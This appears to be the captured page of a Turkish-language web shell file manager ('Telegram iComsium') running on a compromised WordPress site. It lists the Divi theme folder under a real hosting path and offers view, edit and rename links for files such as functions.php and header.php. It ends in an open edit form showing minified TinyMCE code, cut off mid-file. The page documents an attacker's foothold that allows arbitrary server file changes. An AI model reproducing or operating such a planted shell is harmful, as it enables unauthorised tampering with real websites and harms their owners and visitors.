<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: wp-tinymce.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">// Source: wp-includes/js/tinymce/tinymce.min.js
// 4.9.11 (2020-07-13)
!function(V){&quot;use strict&quot;;var o=function(){},H=function(n,r){return function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];return n(r.apply(null,e))}},q=function(e){return function(){return e}},$=function(e){return e};function d(r){for(var o=[],e=1;e&lt;arguments.length;e++)o[e-1]=arguments[e];return function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];var n=o.concat(e);return r.apply(null,n)}}var e,t,n,r,i,a,u,s,c,l,f,m,g,p,h,v,y=function(n){return function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];return!n.apply(null,e)}},b=q(!1),C=q(!0),x=function(){return w},w=(e=function(e){return e.isNone()},r={fold:function(e,t){return e()},is:b,isSome:b,isNone:C,getOr:n=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||&quot;error: getOrDie called on none.&quot;)},getOrNull:q(null),getOrUndefined:q(undefined),or:n,orThunk:t,map:x,each:o,bind:x,exists:b,forall:C,filter:x,equals:e,equals_:e,toArray:function(){return[]},toString:q(&quot;none()&quot;)},Object.freeze&amp;&amp;Object.freeze(r),r),N=function(n){var e=q(n),t=function(){return o},r=function(e){return e(n)},o={fold:function(e,t){return t(n)},is:function(e){return n===e},isSome:C,isNone:b,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return N(e(n))},each:function(e){e(n)},bind:r,exists:r,forall:r,filter:function(e){return e(n)?o:w},toArray:function(){return[n]},toString:function(){return&quot;some(&quot;+n+&quot;)&quot;},equals:function(e){return e.is(n)},equals_:function(e,t){return e.fold(b,function(e){return t(n,e)})}};return o},_={some:N,none:x,from:function(e){return null===e||e===undefined?w:N(e)}},E=function(t){return function(e){return function(e){if(null===e)return&quot;null&quot;;var t=typeof e;return&quot;object&quot;===t&amp;&amp;(Array.prototype.isPrototypeOf(e)||e.constructor&amp;&amp;&quot;Array&quot;===e.constructor.name)?&quot;array&quot;:&quot;object&quot;===t&amp;&amp;(String.prototype.isPrototypeOf(e)||e.constructor&amp;&amp;&quot;String&quot;===e.constructor.name)?&quot;string&quot;:t}(e)===t}},S=E(&quot;string&quot;),T=E(&quot;object&quot;),k=E(&quot;array&quot;),A=E(&quot;null&quot;),R=E(&quot;boolean&quot;),D=E(&quot;function&quot;),O=E(&quot;number&quot;),B=Array.prototype.slice,P=Array.prototype.indexOf,I=Array.prototype.push,L=function(e,t){return P.call(e,t)},F=function(e,t){return-1&lt;L(e,t)},M=function(e,t){for(var n=0,r=e.length;n&lt;r;n++)if(t(e[n],n))return!0;return!1},W=function(e,t){for(var n=e.length,r=new Array(n),o=0;o&lt;n;o++){var i=e[o];r[o]=t(i,o)}return r},z=function(e,t){for(var n=0,r=e.length;n&lt;r;n++)t(e[n],n)},K=function(e,t){for(var n=[],r=[],o=0,i=e.length;o&lt;i;o++){var a=e[o];(t(a,o)?n:r).push(a)}return{pass:n,fail:r}},U=function(e,t){for(var n=[],r=0,o=e.length;r&lt;o;r++){var i=e[r];t(i,r)&amp;&amp;n.push(i)}return n},j=function(e,t,n){return z(e,function(e){n=t(n,e)}),n},X=function(e,t){for(var n=0,r=e.length;n&lt;r;n++){var o=e[n];if(t(o,n))return _.some(o)}return _.none()},Y=function(e,t){for(var n=0,r=e.length;n&lt;r;n++)if(t(e[n],n))return _.some(n);return _.none()},G=function(e,t){return function(e){for(var t=[],n=0,r=e.length;n&lt;r;++n){if(!k(e[n]))throw new Error(&quot;Arr.flatten item &quot;+n+&quot; was not an array, input: &quot;+e);I.apply(t,e[n])}return t}(W(e,t))},J=function(e,t){for(var n=0,r=e.length;n&lt;r;++n)if(!0!==t(e[n],n))return!1;return!0},Q=function(e,t){return U(e,function(e){return!F(t,e)})},Z=function(e){return 0===e.length?_.none():_.some(e[0])},ee=function(e){return 0===e.length?_.none():_.some(e[e.length-1])},te=D(Array.from)?Array.from:function(e){return B.call(e)},ne=&quot;undefined&quot;!=typeof V.window?V.window:Function(&quot;return this;&quot;)(),re=function(e,t){return function(e,t){for(var n=t!==undefined&amp;&amp;null!==t?t:ne,r=0;r&lt;e.length&amp;&amp;n!==undefined&amp;&amp;null!==n;++r)n=n[e[r]];return n}(e.split(&quot;.&quot;),t)},oe={getOrDie:function(e,t){var n=re(e,t);if(n===undefined||null===n)throw new Error(e+&quot; not available on this browser&quot;);return n}},ie=function(){return oe.getOrDie(&quot;URL&quot;)},ae={createObjectURL:function(e){return ie().createObjectURL(e)},revokeObjectURL:function(e){ie().revokeObjectURL(e)}},ue=V.navigator,se=ue.userAgent,ce=function(e){return&quot;matchMedia&quot;in V.window&amp;&amp;V.matchMedia(e).matches};m=/Android/.test(se),a=(a=!(i=/WebKit/.test(se))&amp;&amp;/MSIE/gi.test(se)&amp;&amp;/Explorer/gi.test(ue.appName))&amp;&amp;/MSIE (\w+)\./.exec(se)[1],u=-1!==se.indexOf(&quot;Trident/&quot;)&amp;&amp;(-1!==se.indexOf(&quot;rv:&quot;)||-1!==ue.appName.indexOf(&quot;Netscape&quot;))&amp;&amp;11,s=-1!==se.indexOf(&quot;Edge/&quot;)&amp;&amp;!a&amp;&amp;!u&amp;&amp;12,a=a||u||s,c=!i&amp;&amp;!u&amp;&amp;/Gecko/.test(se),l=-1!==se.indexOf(&quot;Mac&quot;),f=/(iPad|iPhone)/.test(se),g=&quot;FormData&quot;in V.window&amp;&amp;&quot;FileReader&quot;in V.window&amp;&amp;&quot;URL&quot;in V.window&amp;&amp;!!ae.createObjectURL,p=ce(&quot;only screen and (max-device-width: 480px)&quot;)&amp;&amp;(m||f),h=ce(&quot;only screen and (min-width: 800px)&quot;)&amp;&amp;(m||f),v=-1!==se.indexOf(&quot;Windows Phone&quot;),s&amp;&amp;(i=!1);var le,fe={opera:!1,webkit:i,ie:a,gecko:c,mac:l,iOS:f,android:m,contentEditable:!f||g||534&lt;=parseInt(se.match(/AppleWebKit\/(\d*)/)[1],10),transparentSrc:&quot;data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot;,caretAfter:8!==a,range:V.window.getSelection&amp;&amp;&quot;Range&quot;in V.window,documentMode:a&amp;&amp;!s?V.document.documentMode||7:10,fileApi:g,ceFalse:!1===a||8&lt;a,cacheSuffix:null,container:null,overrideViewPort:null,experimentalShadowDom:!1,canHaveCSP:!1===a||11&lt;a,desktop:!p&amp;&amp;!h,windowsPhone:v},de=window.Promise?window.Promise:function(){function r(e,t){return function(){e.apply(t,arguments)}}var e=Array.isArray||function(e){return&quot;[object Array]&quot;===Object.prototype.toString.call(e)},i=function(e){if(&quot;object&quot;!=typeof this)throw new TypeError(&quot;Promises must be constructed via new&quot;);if(&quot;function&quot;!=typeof e)throw new TypeError(&quot;not a 